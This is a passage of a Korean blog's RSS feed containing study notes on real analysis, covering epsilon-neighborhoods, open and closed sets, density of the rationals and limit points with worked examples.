&lt;p data-ke-size=&quot;size16&quot;&gt;참고) open/closed의 여집합이 closed/open이라는 소리지&lt;br /&gt;&amp;nbsp; &amp;nbsp; open이 아니면 closed, closed가 아니면 open이라는 소리는 아님&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 예) {$\frac{1}{n}$ | $n \in \mathbb{N}$} 은 open도 아니고 closed도 아니다.&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; - open&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\forall \epsilon &amp;gt; 0, \ (1-\epsilon, 1+\epsilon) \not\subseteq (\frac{1}{n})$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; - closed&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; limit point = {0}&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; but, ${0} \not\subseteq (\frac{1}{n})$&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;dense (조밀성)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$\bar{A} = \mathbb{R}$이면 A는 dense하다&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 즉, 조밀하게 실수 위의 임의의 점이 A의 원소 또는 극한점이다&lt;br /&gt;$\iff \forall$ 공집합이 아닌 open set은 A의 원소를 적어도 1개 포함&lt;br /&gt;$\iff \forall x \in \mathbb{R}, \ \forall \epsilon &amp;gt; 0 , \ V_{\epsilon} \bigcap A \neq \emptyset$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 실수 안에 어느 부분을 잡아도 A의 원소가 $\epsilon$-근방에 잡힌다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) &lt;a href=&quot;https://verybigsilver.tistory.com/251&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;해석개론 4&lt;/a&gt;에서 본 것처럼, $\mathbb{Q}$는 dense하다.&lt;/p&gt;</description>
      <category>해석학</category>
      <category>해석학</category>
      <author>황올뱀</author>
      <guid isPermaLink="true">https://verybigsilver.tistory.com/282</guid>
      <comments>https://verybigsilver.tistory.com/282#entry282comment</comments>
      <pubDate>Wed, 20 May 2026 17:27:14 +0900</pubDate>
    </item>
    <item>
      <title>[해석학](16)[open &amp;amp; closed set]</title>
      <link>https://verybigsilver.tistory.com/281</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;epsilon;-neighborhood&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$a \in \mathbb{R}, \ \epsilon &amp;gt; 0$에 대해, a의 &amp;epsilon;-근방은&lt;br /&gt;$V_{\epsilon}(a) = {x \in \mathbb{R} \ | \ |x-a|&amp;lt;\epsilon } = (a-\epsilon, a+\epsilon)$&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;open set&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$O \subseteq \mathbb{R}$에 대해,&lt;br /&gt;$\forall x \in O, \ \exists \epsilon &amp;gt; 0, \ V_{\epsilon}(x) \subseteq O$&lt;br /&gt;&amp;nbsp; &amp;nbsp; 즉, 집합의 모든 점에 대해, 어떤 &amp;epsilon;이 존재해&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 그 &amp;epsilon;-근방이 다시 그 집합에 들어가면 열린 집합이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) (a, b)는 열린 집합인가?&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\forall x \in (a, b)$애 대해, $\epsilon = \min(x-a, \ b-x)$로 잡자.&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $V_{\epsilon}(x) = (x-\epsilon, x+\epsilon)$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; - $\epsilon = x-a$ (즉, $x-a &amp;lt; b-x$)&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $V_{\epsilon}(x)$ = $(a, 2x-a)$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 이떄, 2x-a &amp;lt; b 이므로,&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $V_{\epsilon}(x) \subseteq (a, b)$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; - $\epsilon = b-x$ (즉, $x-a &amp;gt; b-x$)&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $V_{\epsilon}(x)$ = $(2x-b, b)$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 이때, 2x-b &amp;gt; a 이므로,&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $V_{\epsilon}(x) \subseteq (a,b)$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; -&amp;gt; 따라서 모든 경우에서 $V_{\epsilon} \subseteq (a,b)$이므로&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; (a, b)는 열린 집합&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) $\mathbb{R}$은 열린 집합인가?&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\forall x \in \mathbb{R}$에 대해, $\forall \epsilon &amp;gt; 0$에 대하여&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $V_{\epsilon}(x) = (x-\epsilon, x+\epsilon) \subseteq \mathbb{R}$이므로,&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\mathbb{R}$은 열린 집합&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) $\emptyset$은 열린 집합인가?&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\forall x \in \mathbb{R}$에 대해, $x \not\in \emptyset$이므로&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 전제가 거짓이므로, 공허참에 의해&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; -&amp;gt; $\emptyset$은 열린 집합이다&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;open set의 성질&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;union은 open에 영향 없음&lt;/li&gt;
&lt;li&gt;open set의 유한번의 intersection은 open set&lt;br /&gt;단, 무한번의 교집합은 not opened일수도 있음...&lt;br /&gt;예) $\bigcap\limits^{\infty}{(-\frac{1}{n}, \frac{1}{n})} = {0}$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt; 이건 closed set이다.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;$\mathbb{R}, \ \emptyset$은 open set이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;limit point (L(A))&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$A \subseteq \mathbb{R}$에 대해,&lt;br /&gt;$\forall \epsilon &amp;gt; 0, \ V_{\epsilon}(x)\bigcap (A \setminus {x}) \neq \emptyset$인 x를 limit point라 부른다.&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 즉, 모든 $\epsilon$에 대해, x 자기 자신을 제외한 근방에서 A의 원소가 존재하면&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; x를 집적점(극한점)이라 부른다.&lt;br /&gt;$\Leftrightarrow \exists(a_n) \in A, \ a_n \neq x, \ a_n \to x$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 즉, x로 수렴하는 A의 부분수열이 존재한다&lt;br /&gt;$\Leftrightarrow ((x-\epsilon, x+\epsilon)\setminus{x})\bigcap A \neq \emptyset$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 자신을 제외한 근방에 a의 원소가 존재한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고) limit point는 A에 속할 필요는 없음&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 보는 주안점이 주변에 A의 원소가 존재하냐임&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) (0, 1)의 limit point?&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; - $\forall x \in (0,1),$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\forall \epsilon &amp;gt; 0$에 대해,&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\exists$y = min(x+$\frac{\epsilon}{2}$, 1)로 잡으면,&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $y \in ((x-\epsilon, x+\epsilon)\setminus{x})\bigcap (0,1)$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 즉, (0, 1)은 limit point에 속함&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; - x = 1 or 0&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\frac{1}{n+1} \in (0,1)$ 에 대해 limit point의 수열에 대한 동치로 증명&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\lim\limits_{n \to \infty}{\frac{1}{n+1}} = 0$ 이고&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\frac{1}{n+1} \neq 0$ 이므로&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 0은 limit point다&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; x=1인 경우도 $1- \frac{1}{n+1}$에 대해 적용하면 동일함&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; - x&amp;lt;0 or x&amp;gt;1&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\epsilon$을 매우 작게 잡으면 A의 원소가 포함되지 않음&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; -&amp;gt; (0, 1)의 limit point = [0, 1]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) $A = {\frac{1}{n} \ |\ n\in \mathbb{N} }$의 limit point?&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;813&quot; data-origin-height=&quot;260&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dwFuu4/dJMcabjZ5e4/KPIhKKCkJcXRj2eKyQ9HeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dwFuu4/dJMcabjZ5e4/KPIhKKCkJcXRj2eKyQ9HeK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dwFuu4/dJMcabjZ5e4/KPIhKKCkJcXRj2eKyQ9HeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdwFuu4%2FdJMcabjZ5e4%2FKPIhKKCkJcXRj2eKyQ9HeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;813&quot; height=&quot;260&quot; data-origin-width=&quot;813&quot; data-origin-height=&quot;260&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 0은 limit point이지만,&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\forall \epsilon &amp;gt; 0, \ |\frac{1}{n} - 0| &amp;lt; \epsilon$ (archimedian)이므로,&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 항상 0 자기 자신을 제외한 neighbor $\frac{1}{n}$이 존재함&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 1은 limit point가 아님...&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 단순히 $\epsilon = 0.1$로 잡으면&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $V_{\epsilon}(1)\bigcap(A \setminus {1}) = {1} \bigcap (A \setminus {1}) = \emptyset$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; -&amp;gt; limit point 아님&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 마찬가지로 다른 임의의 A 안의 점도 limit point가 아님...&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; -&amp;gt; limit point = {0}&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) $\mathbb{Z}$의 limit point?&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 위와 마찬가지로 $\forall x \in \mathbb{Z}$에 대해,&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\epsilon = 0.5$로 잡으면, 자기자신 외에는 $\epsilon$-neighbor가 없으므로,&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\mathbb{Z}$의 limit point는 없음&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;isolated point&lt;/h3&gt;
